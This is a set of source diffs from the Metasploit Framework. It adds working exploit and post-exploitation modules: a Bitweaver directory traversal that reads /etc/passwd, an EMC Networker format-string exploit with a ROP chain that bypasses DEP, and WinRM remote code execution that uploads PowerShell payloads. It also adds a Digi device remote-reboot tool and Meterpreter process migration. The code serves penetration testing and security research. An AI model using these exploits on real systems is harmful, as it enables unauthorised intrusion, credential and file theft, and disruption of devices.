:advisory, :ports, :realport, :realport_enc,
:version, :vendor_guid, :iftype, :challenge, :cap_port, :edp_devid, :edp_enabled,
:edp_url, :wl_ssid, :wl_auto_ssid, :wl_tx_enh_power, :wl_auth_mode, :wl_enc_mode,
:wl_enc_key, :wl_cur_country, :wl_country_list, :magic
]
fields.each do |fname|
next unless res.has_key?(fname)
str << "#{fname}:#{res[fname]} "
end
return str
end
end
end
end

View File

@ -455,6 +455,20 @@ module Socket
end
end
#
# Converts a colon-delimited MAC address into a 6-byte binary string
#
def self.eth_aton(mac)
mac.split(":").map{|c| c.to_i(16) }.pack("C*")
end
#
# Converts a 6-byte binary string into a colon-delimited MAC address
#
def self.eth_ntoa(bin)
bin.unpack("C6").map{|x| "%.2x" % x }.join(":").upcase
end
#
# Converts a CIDR subnet into an array (base, bcast)
#

View File

@ -0,0 +1,111 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Bitweaver overlay_type Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability found in Bitweaver.
When hanlding the 'overlay_type' parameter, view_overlay.php fails to do any
path checking/filtering, which can be abused to read any file outside the
virtual directory.
},
'References' =>
[
['CVE', '2012-5192'],
['OSVDB', '86599'],
['EDB', '22216'],
['URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-016.txt']
],
'Author' =>
[
'David Aaron', # Trustwave SpiderLabs
'Jonathan Claudius', # Trustwave SpiderLabs
'sinn3r' # Metasploit
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Oct 23 2012"
))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/bitweaver/']),
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
], self.class)
end
def run_host(ip)
base = target_uri.path
base << '/' if base[-1,1] != '/'
peer = "#{ip}:#{rport}"
fname = datastore['FILE']
fname = fname[1, fname.length] if fname =~ /^\//
print_status("#{peer} - Reading '#{datastore['FILE']}'")
traverse = "../" * datastore['DEPTH']
res = send_request_cgi({
'method' => 'GET',
'encode_params' => false,
'uri' => "#{base}gmap/view_overlay.php",
'vars_get' => {
'overlay_type' => "#{traverse}#{fname}%00"
}
})
if res and res.code == 200 and res.body =~ /failed to open stream\: No such file/
print_error("#{peer} - Cannot read '#{fname}'. File does not exist.")
elsif res and res.code == 200 and res.body =~ /failed to open stream\: Permission denied/
print_error("#{peer} - Cannot read '#{fname}'. Permission denied.")
elsif res and res.code == 200 and res.body =~ /Failed opening required/
print_error("#{peer} - Cannot read '#{fname}'. Possibly not vulnerable.")
elsif res and res.code == 200
data = res.body
data = (data.scan(/(.+)\n(<br \/>)*\n*.+Notice.+/m).flatten[0] || '').gsub(/\n<br \/>$/, '')
p = store_loot(
'bitweaver.overlay_type',
'application/octet-stream',
ip,
data,
fname
)
vprint_line(data)
print_good("#{peer} - #{datastore['FILE']} stored as '#{p}'")
else
print_error("#{peer} - Request failed due to some unknown reason")
end
end
end
=begin
if( !empty( $_REQUEST['overlay_type'] ) ){
$type = $_REQUEST['overlay_type'];
}
// Now check permissions to access this page
$gBitSystem->verifyPermission('p_gmap_overlay_view' );
// Get the overlay for specified overylay_id
require_once(GMAP_PKG_PATH.'lookup_'.$type.'_inc.php' );
=end

View File

@ -0,0 +1,161 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex/proto/addp'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Digi ADDP Remote Reboot Initiator',
'Version' => '$Revision$',
'Description' => 'Reboot Digi International based equipment through the ADDP service',
'Author' => 'hdm',
'References' =>
[
['URL', 'http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html'],
['URL', 'http://www.digi.com/wiki/developer/index.php/Advanced_Device_Discovery_Protocol_%28ADDP%29'],
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::CHOST,
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
Opt::RPORT(2362),
OptString.new('ADDP_PASSWORD', [true, 'The ADDP protocol password for each target', 'dbps'])
], self.class)
end
def run_batch_size
datastore['BATCHSIZE'].to_i
end
def rport
datastore['RPORT'].to_i
end
def run_batch(batch)
print_status("Finding ADDP nodes within #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
@results = {}
begin
udp_sock = nil
idx = 0
# Create an unbound UDP socket if no CHOST is specified, otherwise
# create a UDP socket bound to CHOST (in order to avail of pivoting)
udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} })
add_socket(udp_sock)
batch.each do |ip|
begin
# Try all currently-known magic probe values
Rex::Proto::ADDP.request_config_all.each do |pkt|
begin
udp_sock.sendto(pkt, ip, rport, 0)
rescue ::Errno::ENOBUFS
print_status("Socket buffers are full, waiting for them to flush...")
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
parse_reply(r)
end
select(nil, nil, nil, 0.25)
retry
end
end
rescue ::Interrupt
raise $!
rescue ::Rex::ConnectionError
end
if (idx % 30 == 0)
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
parse_reply(r)
end
end
idx += 1
end
while (r = udp_sock.recvfrom(65535, 3) and r[1])
parse_reply(r)
end
queue = {}
@results.each_pair do |ip,res|
queue[ip] = res
end
@results = {}
queue.each_pair do |ip, res|
info = Rex::Proto::ADDP.reply_to_string(res)
print_status("#{ip}:#{rport} Sending reboot request to device with MAC #{res[:mac]}...")
pkt = Rex::Proto::ADDP.request_reboot(res[:magic], res[:mac], datastore['ADDP_PASSWORD'])
begin
udp_sock.sendto(pkt, ip, rport, 0)
rescue ::Errno::ENOBUFS
print_status("Socket buffers are full, waiting for them to flush...")
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
parse_reply(r)
end
select(nil, nil, nil, 0.25)
retry
end
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
parse_reply(r)
end
end
while (r = udp_sock.recvfrom(65535, 5) and r[1])
parse_reply(r)
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e} #{e.backtrace}")
end
end
def parse_reply(pkt)
# Ignore "empty" packets
return if not pkt[1]
addr = pkt[1]
if(addr =~ /^::ffff:/)
addr = addr.sub(/^::ffff:/, '')
end
data = pkt[0]
@results[addr] ||= {}
@results[addr] = Rex::Proto::ADDP.decode_reply(data)
if @results[addr][:cmd] == Rex::Proto::ADDP::CMD_REBOOT_REP
print_status("#{addr}:#{rport} Reboot Status: " + Rex::Proto::ADDP.reply_to_string(@results[addr]))
end
return unless @results[addr][:magic] and @results[addr][:mac]
end
end

View File

@ -0,0 +1,140 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex/proto/addp'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Digi ADDP Information Discovery',
'Version' => '$Revision$',
'Description' => 'Discover host information through the Digi International ADDP service',
'Author' => 'hdm',
'References' =>
[
['URL', 'http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html'],
['URL', 'http://www.digi.com/wiki/developer/index.php/Advanced_Device_Discovery_Protocol_%28ADDP%29'],
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::CHOST,
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
Opt::RPORT(2362)
], self.class)
end
def run_batch_size
datastore['BATCHSIZE'].to_i
end
def rport
datastore['RPORT'].to_i
end
def run_batch(batch)
print_status("Sending Digi ADDP probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
@results = {}
begin
udp_sock = nil
idx = 0
# Create an unbound UDP socket if no CHOST is specified, otherwise
# create a UDP socket bound to CHOST (in order to avail of pivoting)
udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} })
add_socket(udp_sock)
batch.each do |ip|
begin
# Try all currently-known magic probe values
Rex::Proto::ADDP.request_config_all.each do |pkt|
begin
udp_sock.sendto(pkt, ip, rport, 0)
rescue ::Errno::ENOBUFS
print_status("Socket buffers are full, waiting for them to flush...")
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
parse_reply(r)
end
select(nil, nil, nil, 0.25)
retry
end
end
rescue ::Interrupt
raise $!
rescue ::Rex::ConnectionError
end
if (idx % 30 == 0)
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
parse_reply(r)
end
end
idx += 1
end
while (r = udp_sock.recvfrom(65535, 3) and r[1])
parse_reply(r)
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e} #{e.backtrace}")
end
end
def parse_reply(pkt)
# Ignore "empty" packets
return if not pkt[1]
addr = pkt[1]
if(addr =~ /^::ffff:/)
addr = addr.sub(/^::ffff:/, '')
end
data = pkt[0]
@results[addr] ||= {}
@results[addr] = Rex::Proto::ADDP.decode_reply(data)
return unless @results[addr][:magic] and @results[addr][:mac]
inf = Rex::Proto::ADDP.reply_to_string(@results[addr])
if inside_workspace_boundary?(addr)
report_service(
:host => addr,
:mac => @results[addr][:mac],
:port => pkt[2],
:proto => 'udp',
:name => 'addp',
:info => inf
)
end
print_status("#{addr}:#{pkt[2]} #{inf}")
end
end

View File

@ -0,0 +1,93 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::RealPort
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Digi RealPort Serial Server Port Scanner',
'Description' => 'Identify active ports on RealPort-enabled serial servers.',
'References' =>
[
['URL', 'http://www.digi.com/pdf/fs_realport.pdf'],
['URL', 'http://www.digi.com/support/productdetail?pid=2229&type=drivers']
],
'Author' =>
[
'hdm'
],
'License' => MSF_LICENSE
)
register_options(
[
OptInt.new("BANNER_TIMEOUT", [true, "How long to capture data from the serial port", 5]),
OptString.new('BAUD_RATES', [true, "A space delimited list of baud rates to try for each port", "9600 115200"]),
OptString.new('PORTS', [true, "A space delimited list of 1-indexed serial port numbers to try, default is all supported", "ALL"])
], self.class)
end
def setup
test_speeds = datastore['BAUD_RATES'].split(/\s+/)
test_speeds.each do |baud|
valid = realport_baud_to_speed(baud)
if not valid
raise RuntimeError, "The baud rate #{baud} is not supported"
end
end
end
def run_host(target_host)
test_ports = datastore['PORTS'].upcase.split(/\s+/)
test_speeds = datastore['BAUD_RATES'].split(/\s+/)
return unless realport_connect
info = "#{@realport_name} ( ports: #{@realport_port_count} )"
vprint_status("#{target_host}:#{rport} is running #{info}")
report_service(:host => rhost, :port => rport, :name => "realport", :info => info)
1.upto(@realport_port_count) do |pnum|
unless test_ports.include?('ALL') or test_ports.include?(pnum.to_s)
# Skip this port
next
end
test_speeds.each do |baud|
ret = realport_open(pnum - 1, baud)
break unless ret == :open
res = realport_recv_banner(pnum - 1, datastore['BANNER_TIMEOUT'])
if res and res.length > 0
print_status("#{target_host}:#{rport} [port #{pnum} @ #{baud}bps] #{res.inspect}")
report_note(
:host => target_host,
:proto => 'tcp',
:port => rport,
:type => "realport.port#{pnum}.banner",
:data => {:baud => baud, :banner => res},
:update => :unique_data
)
end
realport_close(pnum - 1)
end
end
realport_disconnect
end
end

View File

@ -0,0 +1,45 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::RealPort
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Digi RealPort Serial Server Version',
'Description' => 'Detect serial servers that speak the RealPort protocol.',
'References' =>
[
['URL', 'http://www.digi.com/pdf/fs_realport.pdf'],
['URL', 'http://www.digi.com/support/productdetail?pid=2229&type=drivers']
],
'Author' =>
[
'hdm'
],
'License' => MSF_LICENSE
)
end
def run_host(target_host)
if realport_connect
info = "#{@realport_name} ( ports: #{@realport_port_count} )"
print_status("#{target_host}:#{rport} #{info}")
report_service(:host => rhost, :port => rport, :name => "realport", :info => info)
end
realport_disconnect
end
end

View File

@ -0,0 +1,63 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex/proto/ntlm/message'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::WinRM
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'WinRM Command Runner',
'Description' => %q{
This module runs arbitrary Windows commands using the WinRM Service
},
'Author' => [ 'thelightcosine' ],
'License' => MSF_LICENSE
)
register_options(
[
OptString.new('CMD', [ true, "The windows command to run", "ipconfig /all" ]),
OptString.new('USERNAME', [ true, "The username to authenticate as"]),
OptString.new('PASSWORD', [ true, "The password to authenticate with"]),
OptBool.new('SAVE_OUTPUT', [true, "Store output as loot", false])
], self.class)
end
def run_host(ip)
unless accepts_ntlm_auth
print_error "The Remote WinRM server (#{ip} does not appear to allow Negotiate(NTLM) auth"
return
end
streams = winrm_run_cmd(datastore['CMD'])
return unless streams.class == Hash
print_error streams['stderr'] unless streams['stderr'] == ''
print_good streams['stdout']
if datastore['SAVE_OUTPUT']
path = store_loot("winrm.cmd_results", "text/plain", ip, streams['stdout'], "winrm_cmd_results.txt", "WinRM CMD Results")
print_status "Results saved to #{path}"
end
end
end

View File

@ -29,7 +29,8 @@ class Metasploit3 < Msf::Auxiliary
This module attempts to authenticate to a WinRM service. It currently
works only if the remote end allows Negotiate(NTLM) authentication.
Kerberos is not currently supported. Please note: in order to use this
module, the 'AllowUnencrypted' winrm option must be set.
module without SSL, the 'AllowUnencrypted' winrm option must be set.
Otherwise adjust the port and set the SSL options in the module as appropriate.
},
'Author' => [ 'thelightcosine' ],
'References' =>

View File

@ -40,7 +40,8 @@ class Metasploit3 < Msf::Auxiliary
[
OptString.new('WQL', [ true, "The WQL query to run", "Select Name,Status from Win32_Service" ]),
OptString.new('USERNAME', [ true, "The username to authenticate as"]),
OptString.new('PASSWORD', [ true, "The password to authenticate with"])
OptString.new('PASSWORD', [ true, "The password to authenticate with"]),
OptString.new('NAMESPACE', [true, 'The WMI namespace to use for queries', '/root/cimv2/'])
], self.class)
end

View File

@ -0,0 +1,129 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::SunRPC
def initialize(info = {})
super(update_info(info,
'Name' => 'EMC Networker Format String',
'Description' => %q{
This module exploits a format string vulnerability in the lg_sprintf function
as implemented in liblocal.dll on EMC Networker products. This module exploits the
vulnerability by using a specially crafted RPC call to the program number 0x5F3DD,
version 0x02, and procedure 0x06. This module has been tested successfully on EMC
Networker 7.6 SP3 on Windows XP SP3 and Windows 2003 SP2 (DEP bypass).
},
'Author' =>
[
'Aaron Portnoy', # Vulnerability Discovery and analysis
'Luigi Auriemma <aluigi[at]autistici.org>', # Vulnerability Discovery and analysis
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-2288' ],
[ 'OSVDB', '85116' ],
[ 'BID', '55330' ],
[ 'URL', 'http://blog.exodusintel.com/2012/08/29/when-wrapping-it-up-goes-wrong/' ],
[ 'URL', 'http://aluigi.altervista.org/misc/aluigi0216_story.txt' ]
],
'Platform' => [ 'win' ],
'Payload' =>
{
'BadChars' => "\x00\x0d\x0a\x25\x2a",
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Targets' =>
[
['EMC Networker 7.6 SP3 / Windows Universal',
{
'Ret' => 0x7c354dac, # ret from MSVCR71.dll
'Offset' => 156,
'DEP' => true
}
],
['EMC Networker 7.6 SP3 / Windows XP SP3',
{
'Ret' => 0x7c345c30, # push esp # ret from MSVCR71.dll
'Offset' => 156,
'DEP' => false
}
],
['EMC Networker 7.6 SP3 / Windows 2003 SP2',
{
'Ret' => 0x7c354dac, # ret from MSVCR71.dll
'Offset' => 156,
'DEP' => true
}
]
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'Aug 29 2012'))
end
def exploit
begin
if (not sunrpc_create('tcp', 0x5F3DD, 2))
fail_with(Exploit::Failure::Unknown, 'sunrpc_create failed')
end
fs = "%n" * target['Offset']
fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll
if target['DEP']
rop_gadgets =
[
# rop chain generated with mona.py
# The RopDb mixin isn't used because there are badchars
# which must be avoided
0x7c354dab, # POP EBP # RETN [MSVCR71.dll]
0x7c354dab, # skip 4 bytes [MSVCR71.dll]
0x7c37678f, # POP EAX # RETN [MSVCR71.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x7c34d749, # NEG EAX # RETN [MSVCR71.dll]
0x7c362688, # POP EBX # RETN [MSVCR71.dll]
0xffffffff, #
0x7c345255, # INC EBX # FPATAN # RETN [MSVCR71.dll]
0x7c363cff, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [MSVCR71.dll]
0x7c34592b, # POP EDX # RETN [MSVCR71.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN [MSVCR71.dll]
0x7c37765f, # POP ECX # RETN [MSVCR71.dll]
0x7c38ecfe, # &Writable location [MSVCR71.dll]
0x7c34a490, # POP EDI # RETN [MSVCR71.dll]
0x7c347f98, # RETN (ROP NOP) [MSVCR71.dll]
0x7c364612, # POP ESI # RETN [MSVCR71.dll]
0x7c3415a2, # JMP [EAX] [MSVCR71.dll]
0x7c344cc1, # POP EAX # RETN [MSVCR71.dll]
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
0x7c345c30, # ptr to 'push esp # ret ' [MSVCR71.dll]
].pack("V*")
fs << rop_gadgets
end
fs << payload.encoded
xdr = XDR.encode(0, 2, rand_text_alpha(10), XDR.encode(fs, rand_text_alpha(10)), 2)
sunrpc_call(6, xdr)
sunrpc_destroy
rescue Rex::Proto::SunRPC::RPCTimeout
print_error('RPCTimeout')
rescue EOFError
print_error('EOFError')
end
end
end

View File

@ -162,7 +162,7 @@ class Metasploit3 < Msf::Exploit::Remote
return
end
if (res.code < 200 or res.code >= 300)
if (res.code < 200 or res.code > 302)
print_error("#{@peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]")
return
end

View File

@ -0,0 +1,239 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::WinRM
include Msf::Exploit::CmdStagerVBS
def initialize(info = {})
super(update_info(info,
'Name' => 'WinRM Script Exec Remote Code Execution',
'Description' => %q{
This module uses valid credentials to login to the WinRM service
and execute a payload. It has two available methods for payload
delivery: Powershell 2.0 and VBS CmdStager.
The module will check if Powershell 2.0 is available, and if so uses
that method. Otherwise it falls back to the VBS Cmdstager which is
less stealthy.
IMPORTANT: If targeting an x64 system with the Powershell method
you MUST select an x64 payload. An x86 payload will never return.
},
'Author' => [ 'thelightcosine' ],
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
'WfsDelay' => 30,
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'post/windows/manage/smart_migrate',
},
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Targets' =>
[
[ 'Windows', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 01 2012'
))
register_options(
[
OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false])
], self.class
)
register_advanced_options(
[
OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',
File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")]),
], self.class)
end
def check
unless accepts_ntlm_auth
print_error "The Remote WinRM server does not appear to allow Negotiate(NTLM) auth"
return Msf::Exploit::CheckCode::Safe
end
return Msf::Exploit::CheckCode::Vulnerable
end
def exploit
unless check == Msf::Exploit::CheckCode::Vulnerable
return
end
if powershell2?
return unless correct_payload_arch?
path = upload_script
return if path.nil?
exec_script(path)
else
execute_cmdstager
end
handler
end
def execute_command(cmd,opts)
commands = cmd.split(/&/)
commands.each do |command|
if command.include? "cscript"
streams = winrm_run_cmd_hanging(command)
print_status streams.inspect
elsif command.include? "del %TEMP%"
next
else
winrm_run_cmd(command)
end
end
end
def upload_script
tdir = temp_dir
return if tdir.nil?
path = tdir + "\\" + ::Rex::Text.rand_text_alpha(8) + ".ps1"
print_status "Uploading powershell script to #{path} (This may take a few minutes)..."
script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)
#add a sleep to the script to give us enoguh time to establish a session
script << "\n Start-Sleep -s 600"
script.each_line do |psline|
#build our psh command to write out our psh script, meta eh?
script_line = "Add-Content #{path} '#{psline.chomp}' "
cmd = encoded_psh(script_line)
streams = winrm_run_cmd(cmd)
end
return path
end
def exec_script(path)
print_status "Attempting to execute script..."
cmd = "powershell -File #{path}"
winrm_run_cmd_hanging(cmd)
end
def encoded_psh(script)
script = script.chars.to_a.join("\x00").chomp
script << "\x00" unless script[-1].eql? "\x00"
script = Rex::Text.encode_base64(script).chomp
cmd = "powershell -encodedCommand #{script}"
end
def temp_dir
print_status "Grabbing %TEMP%"
resp,c = send_request_ntlm(winrm_open_shell_msg)
if resp.nil?
print_error "Got no reply from the server"
return nil
end
unless resp.code == 200
print_error "Got unexpected response: \n #{resp.to_s}"
return nil
end
shell_id = winrm_get_shell_id(resp)
cmd = "echo %TEMP%"
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id))
cmd_id = winrm_get_cmd_id(resp)
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id))
streams = winrm_get_cmd_streams(resp)
return streams['stdout'].chomp
end
def check_remote_arch
wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"}
resp,c = send_request_ntlm(winrm_wql_msg(wql))
#Default to x86 if we can't be sure
return "x86" if resp.nil? or resp.code != 200
resp_tbl = parse_wql_response(resp)
addr_width = resp_tbl.rows.flatten[0]
if addr_width == "64"
return "x64"
else
return "x86"
end
end
def correct_payload_arch?
target_arch = check_remote_arch
case target_arch
when "x64"
unless datastore['PAYLOAD'].include? "x64"
print_error "You selected an x86 payload for an x64 target!"
return false
end
when "x86"
if datastore['PAYLOAD'].include? "x64"
print_error "you selected an x64 payload for an x86 target"
return false
end
end
return true
end
def powershell2?
if datastore['FORCE_VBS']
print_status "User selected the FORCE_VBS option"
return false
end
print_status "checking for Powershell 2.0"
streams = winrm_run_cmd("powershell Get-Host")
if streams == 401
print_error "Login failed!"
return false
end
unless streams.class == Hash
print_error "Recieved error while running check"
return false
end
if streams['stderr'].include? "not recognized"
print_error "Powershell is not installed"
return false
end
streams['stdout'].each_line do |line|
next unless line.start_with? "Version"
major_version = line.match(/\d(?=\.)/)[0]
if major_version == "1"
print_error "The target is running an older version of powershell"
return false
end
end
print_status "Attempting to set Execution Policy"
streams = winrm_run_cmd("powershell Set-ExecutionPolicy Unrestricted")
if streams == 401
print_error "Login failed!"
return false
end
unless streams.class == Hash
print_error "Recieved error while running check"
return false
end
streams = winrm_run_cmd("powershell Get-ExecutionPolicy")
if streams['stdout'].include? 'Unrestricted'
print_good "Set Execution Policy Successfully"
return true
end
return false
end
end

View File

@ -65,7 +65,7 @@ class Metasploit3 < Msf::Post
# Store the loot
print_good("Downloading #{f}")
pgpass_path = store_loot("postgres.pgpass", "text/plain", session, read_file(f), "#{f}", "pgpass #{f} file")
print_good "Postgres credentials file saved to #{pgpass_path}"
print_good "Postgres credentials file saved to #{pgpass_path}"
# Store the creds
parse_creds(f)
end

View File

@ -0,0 +1,73 @@
##
# $Id$
##
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Smart Process Migration',
'Description' => %q{ This module will migrate a Meterpreter session.
It will first attempt to migrate to winlogon.exe . If that fails it will
then look at all of the explorer.exe processes. If there is one that exists
for the user context the session is already in it will try that. Failing that it will fall back
and try any other explorer.exe processes it finds},
'License' => MSF_LICENSE,
'Author' => [ 'thelightcosine'],
'Version' => '$Revision$',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def run
server = client.sys.process.open
original_pid = server.pid
print_status("Current server process: #{server.name} (#{server.pid})")
uid = client.sys.config.getuid
processes = client.sys.process.get_processes
uid_explorer_procs = []
explorer_procs = []
winlogon_procs = []
processes.each do |proc|
uid_explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] == uid
explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] != uid
winlogon_procs << proc if proc['name'] == "winlogon.exe"
end
winlogon_procs.each { |proc| return if attempt_migration(proc['pid']) }
uid_explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
explorer_procs.each { |proc| return if attempt_migration(proc['pid']) }
print_error "Was unable to sucessfully migrate into any of our likely candidates"
end
def attempt_migration(target_pid)
begin
print_good("Migrating to #{target_pid}")
client.core.migrate(target_pid)
print_good("Successfully migrated to process #{}")
return true
rescue ::Exception => e
print_error("Could not migrate in to process.")
print_error(e)
return false
end
end
end

107
msfupdate
View File

@ -9,12 +9,14 @@ while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
@msfbase_dir = File.dirname(msfbase)
@args = ARGV.dup
# May be changed
@configdir = File.expand_path(File.join(File.dirname(msfbase), "data", "svn"))
Dir.chdir(File.dirname(msfbase))
Dir.chdir(@msfbase_dir)
$stderr.puts "[*]"
$stderr.puts "[*] Attempting to update the Metasploit Framework..."
@ -26,41 +28,110 @@ if not (Process.uid == 0 or File.stat(msfbase).owned?)
$stderr.puts "Please run msfupdate as the same user who installed metasploit."
end
def is_git
File.directory?(File.join(@msfbase_dir, ".git"))
end
def is_svn
File.directory?(File.join(@msfbase_dir, ".svn"))
end
def print_deprecation_warning
$stdout.puts "[*] Deprecation Note: The next version of Metasploit will"
$stdout.puts "[*] update over the git protocol, which requires outbound"
$stdout.puts "[*] access to github.com:9418/TCP."
$stdout.puts "[*] Please adjust your egress firewall rules accordingly."
end
# Some of these args are meaningful for SVN, some for Git,
# some for both. Fun times.
@args.each_with_index do |arg,i|
case arg
# Handle the old wait/nowait argument behavior
# Handle the old wait/nowait argument behavior
when "wait", "nowait"
@wait_index = i
@actually_wait = (arg == "wait")
# An empty or absent config-dir means a default config-dir
# An empty or absent config-dir means a default config-dir
when "--config-dir"
@configdir_index = i
# A defined config dir means a defined config-dir
# A defined config dir means a defined config-dir
when /--config-dir=(.*)?/
# Spaces in the directory should be fine since this whole thing is passed
# as a single argument via the multi-arg syntax for system() below.
# TODO: Test this spaces business. I don't buy it. -todb
@configdir = $1
@configdir_index = i
when /--git-remote=([^\s]*)?/
@git_remote = $1
@git_remote_index = i
when /--git-branch=([^\s]*)?/
@git_branch = $1
@git_branch_index = i
end
end
@args[@wait_index] = nil if @wait_index
@args[@configdir_index] = nil if @configdir_index
@args = @args.compact
@args.push("--config-dir=#{@configdir}")
@args.push("--non-interactive")
res = system("svn", "cleanup")
if res.nil?
$stderr.puts "[-] ERROR: Failed to run svn"
$stderr.puts ""
$stderr.puts "[-] If you used a binary installer, make sure you run the symlink in"
$stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)"
$stderr.puts "[-] to ensure a proper environment."
else
# Cleanup worked, go ahead and update
system("svn", "update", *@args)
@args[@git_remote_index] = nil if @git_remote_index
@args[@git_branch_index] = nil if @git_branch_index
@args = @args.compact
####### Since we're SVN, do it all this way #######
if is_svn
print_deprecation_warning
@args.push("--config-dir=#{@configdir}")
@args.push("--non-interactive")
res = system("svn", "cleanup")
if res.nil?
$stderr.puts "[-] ERROR: Failed to run svn"
$stderr.puts ""
$stderr.puts "[-] If you used a binary installer, make sure you run the symlink in"
$stderr.puts "[-] /usr/local/bin instead of running this file directly (e.g.: ./msfupdate)"
$stderr.puts "[-] to ensure a proper environment."
exit 1
else
# Cleanup worked, go ahead and update
system("svn", "update", *@args)
end
end
